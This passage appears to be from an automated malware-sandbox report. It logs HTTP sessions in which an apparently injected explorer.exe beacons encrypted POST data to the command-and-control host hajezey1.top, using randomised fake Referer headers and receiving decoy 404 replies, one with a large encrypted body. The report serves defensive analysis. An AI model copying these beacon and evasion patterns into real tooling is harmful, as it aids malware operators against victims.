Oct 29, 2021 20:29:54.777343035 CEST	5525	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://eyepud.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: hajezey1.top
Oct 29, 2021 20:29:54.777355909 CEST	5525	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 15 d5 c7 24 Data Ascii: 7v:7AFTmwmwu$f]d$K9%mKUHBaE=)Fpg](RT]*!_>\|$_bk
Oct 29, 2021 20:29:54.858685970 CEST	5526	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8 bf cb 67 3f d8 97 24 a9 b9 fc f0 ba e8 57 2d c8 a1 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1 7d 87 02 f3 35 43 25 11 00 ac 49 1d 02 a1 b7 28 e4 f0 f7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22 27 c6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 0a 9f 12 6f 03 62 53 b5 f8 80 99 8b 84 80 7f 1d b8 78 c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14 7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6c 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'}WpHk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyOZ:-A%GkKm@NQ>[J8},s"JG0Z"?kQTJMQCd%\!&Q#F<pvA>C/CbGBj4VFv2Bo]6HPg5P[Fj6'NGc_,/DO9W%bJR}Tzl9^\mc=>"}h`1%@GN!K.iwA0!Wnawjg";kzRN{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;=g&9c0{%#=9FX?SCnv4ddOU^Tiz=p.jh"?Gqf<=g?$W-{ir[6dQ;}5C%I(A5:/b"'v(5Y5jobSxF/Mv#JzB~&G};3l'ph;j=?xB{F
Oct 29, 2021 20:29:54.858711958 CEST	5528	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 6f 88 05 42 76 8c 9e 94 74 8d 47 41 99 84 05 8c e3 ec 9c 6d 56 30 c8 35 61 dd a7 36 09 c7 3e 76 f3 6b df c8 a7 d3 71 5d 03 45 3b e9 b4 15 54 57 70 3b 8b 38 7c e0 b5 55 Data Ascii: cbp1HErl>oBvtGAmV05a6>vkq]E;TWp;8\|UfG3Q2 !Sj^OM-GIKUtJYAVl>\|5F)s_S3kD--(X!+]1B#&;mW>=H\|a0//1
Oct 29, 2021 20:29:54.858724117 CEST	5529	IN	Data Raw: 67 72 b1 90 17 d6 13 88 bd 8c 88 a4 cb 39 fc d0 f6 a4 6d cb 7d 7b df 3e 86 59 15 7c ce b7 a2 a0 6c a8 1c 94 53 5a 61 5f 29 c9 f9 dc 9b 27 58 b8 ad 7c 0a 9e 68 fa 03 2f dc ec 5c ee a5 9e b6 77 b2 62 c1 2a 6a ac a6 cd 97 a8 c1 13 f4 6c 81 c2 eb 98 Data Ascii: gr9m}{>Y\|lSZa_)'X\|h/\wbjl]_L4Yx}ZnQ.C6{N[-n~52bg}MH>OuR>#AZDsC_kT\1zu@.r)7:R>qS=#
Oct 29, 2021 20:29:54.858741045 CEST	5531	IN	Data Raw: 83 da e5 3c 8a 86 60 07 42 99 7d 83 3d 9b f5 8d 3f e3 1e 40 8f 85 58 4b 44 80 02 ce a3 a7 bf 09 df 10 66 b8 c7 fc 3d 17 cd b2 b3 fd 67 6c fa 88 6c 20 09 9e 59 a6 56 69 b7 7a b1 6a df 1c 85 da 9c f1 61 6f 47 04 72 78 87 dd 84 2b b8 b4 c9 8d 24 47 Data Ascii: <`B}=?@XKDf=gll YVizjaoGrx+$GRTv!8IXf,W0:FJpSz)%$%^:{-u@[l{4[`VSr&FjWh:!v #N:<Id,b7)di( nUM
Oct 29, 2021 20:29:54.858757019 CEST	5532	IN	Data Raw: 88 66 53 73 4c 6e 1c 51 61 2f d0 47 c6 77 4d 13 ae f7 53 ee db 7b a2 dd d3 48 75 78 ed 87 0a 3c 84 b5 b9 29 4d 31 e0 d5 d4 a9 d1 a2 00 40 42 94 be 8b 03 68 5a bf 2e d9 6d e5 66 21 25 16 d9 3e 11 b2 dd 07 6d 7e 03 7b a5 52 5a 0e f6 0c 87 ec 40 92 Data Ascii: fSsLnQa/GwMS{Hux<)M1@BhZ.mf!%>m~{RZ@d+Uu)7`\|QME{Qj.x}/xbF2Q QQv$P,fpUuq?q5]+2o>l*K_$m ?\a?L >yG7GUw#=Q{(ivxf&;t
Oct 29, 2021 20:29:54.858773947 CEST	5533	IN	Data Raw: 80 27 9f 37 91 e3 fd 60 4f b6 2a 52 e0 09 d6 35 74 c1 3a fa e4 ce 8d a1 b6 00 e2 5f f4 4e c1 ed 5e f9 e2 29 67 27 fc f2 22 05 4e d8 13 cf 85 06 f7 98 cc 49 2c 8e 7a e9 4d 2f f2 3c 00 c3 aa 8a 2b d3 c9 09 d1 f9 b0 3c 59 e4 84 6b 18 29 ed fd 09 7f Data Ascii: '7`OR5t:_N^)g'"NI,zM/<+<Yk)xfOg.kQ;OZ!tBQ,!4S'v$>v9gUzS`Hgl'L_6r tJIs#+7im:tRih8V"Gmkn[#`xT5NIs
Oct 29, 2021 20:29:54.858791113 CEST	5535	IN	Data Raw: 47 7b 94 d2 a3 49 39 98 48 a1 db fb 87 cf 2c a5 4d cd 83 82 13 a7 1e e1 19 80 32 7a 5c 85 06 7a c4 53 e5 bb a6 dc 19 71 c4 4c c5 3b 59 cd 78 23 89 f5 11 db c8 79 8f 57 07 37 55 df 58 c5 4e 13 8d cf c4 0c c1 9b 4b e3 7d 5c 65 77 66 38 47 d3 96 14 Data Ascii: G{I9H,M2z\zSqL;Yx#yW7UXNK}\ewf8Gg=sRk_7-9YHH<I4:RqGM<ZLWggR'3uB'$@HE8Y}]jmv?2000vS`;Ao@%g647;jk%jK/df-
Oct 29, 2021 20:29:54.858803034 CEST	5536	IN	Data Raw: a8 06 0c e8 7f 36 2e 98 7b a6 bb 34 16 c6 71 81 b3 8c 7e 38 23 52 07 70 1d 15 bc d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae 30 5a 93 7a 14 2f 14 d2 e3 94 97 a7 57 57 be c0 57 8e 85 63 f2 13 5b ca 4a a1 67 45 38 ae d8 46 8c c3 68 bc Data Ascii: 6.{4q~8#Rp!7naqT0Zz/WWWc[JgE8FhsW-\SpH:.Zzzom,xnX_Bz=:l!<Wp@FK.+lcig$h{)0"Dq/WH/`v8`w:4%0dD
Oct 29, 2021 20:29:54.858814955 CEST	5537	IN	Data Raw: 70 ce b3 a6 39 32 dd 00 07 3f 66 02 14 f0 4c c0 cf 32 e1 ce d2 7b 3b 20 56 75 1a d6 bb f9 b8 4a cc 24 c1 13 36 d5 51 be 59 70 57 e6 64 52 e8 49 62 29 08 16 28 83 34 bd 3d 1e 0b 15 29 23 be 63 04 b7 49 22 1c 7e 11 10 de d6 03 09 3d dc 23 c0 74 73 Data Ascii: p92?fL2{; VuJ$6QYpWdRIb)(4=)#cI"~=#tss$)xHu&A vg4g{E?2{)7fteL}m z8+T\|FG(o:'?:7r3C_%XF-jzH/J`b9rOTF571
Oct 29, 2021 20:29:54.858828068 CEST	5539	IN	Data Raw: 31 f2 33 fb 35 91 c2 26 81 b9 85 6a ea 51 c7 c4 33 2d c7 28 11 6d 66 c7 fc d0 aa af 2a 01 d7 35 41 a6 e3 db f4 0b 35 10 a6 3a f4 09 88 6f 6f 60 2e e0 0f f1 81 1b 1f 65 64 b7 e4 2a 10 f2 d2 5c e2 3d 42 7f cb 42 14 63 02 e7 b5 90 1b 4c 3f 8e 8e 3f Data Ascii: 135&jQ3-(mf5A5:oo`.ed\=BBcL??IQd=b02]dvQ[$'] P\rg9@L(pnD}eAl0WoZ#k"}y$`Bo>>Rro2W,.E~T$xuu]]:LS=q
Oct 29, 2021 20:29:54.910676003 CEST	5540	IN	Data Raw: 6b af 3a 79 b9 22 99 bd e3 07 b4 23 e8 8a bd ef bf 8c 1a 3e 42 ea 05 00 31 40 aa f7 d1 aa 29 57 70 33 61 b0 ec ea 9d 46 0a 33 e7 80 a7 54 f7 a5 91 dc b1 4c 05 85 39 df c3 75 48 af 6c fc 82 8a 6b 52 77 21 c3 6c e5 c9 32 98 75 10 74 85 e7 8f 19 8a Data Ascii: k:y"#>B1@)Wp3aF3TL9uHlkRw!l2utY'%voA2f/,;zpG7_gxb<ASp>U7Y,9f1O ^"@&(7Nqw#Fn`0/};%*Pt^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.7	49786	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:56.596683025 CEST	5739	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dkvmgnfi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: hajezey1.top
Oct 29, 2021 20:29:56.596685886 CEST	5739	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8e 66 5d 02 c9 a1 c1 64 23 a0 ad 25 Data Ascii: 7v:7AFTmwmwu$f]d#%!]2c3BGQ;5@#Bed@c31"B:K!M?@."Xj7
Oct 29, 2021 20:29:56.670701981 CEST	5740	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49794	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B82B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	49787	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:56.768024921 CEST	5740	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wbdqtrry.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 115 Host: hajezey1.top
Oct 29, 2021 20:29:56.768042088 CEST	5740	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 46 d0 c5 69 Data Ascii: 7v:7AFTmwmwu$f]dFinv1n,U=!f~K0C
Oct 29, 2021 20:29:56.846256018 CEST	5741	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	49788	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:56.939694881 CEST	5742	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mkaqxiicba.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: hajezey1.top
Oct 29, 2021 20:29:56.939714909 CEST	5742	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 2a de 92 6f Data Ascii: 7v:7AFTmwmwu$f]d*o&lwx#GJ#[dAt5(,99?z8CA9r~b<Y.8#\|](GH!rr5e8^;A+U34('UOOFpaKpyh%>
Oct 29, 2021 20:29:57.014889956 CEST	5743	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	49789	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:57.101701021 CEST	5744	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://taupwpt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 152 Host: hajezey1.top
Oct 29, 2021 20:29:57.101721048 CEST	5744	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 5e a6 98 74 Data Ascii: 7v:7AFTmwmwu$f]d^tF~iql6ZOVJuzg,e`@Xgon0cG>m
Oct 29, 2021 20:29:57.179805994 CEST	5745	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:29:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	49790	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:29:57.268543959 CEST	5746	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://blslkdmyqd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 362 Host: hajezey1.top
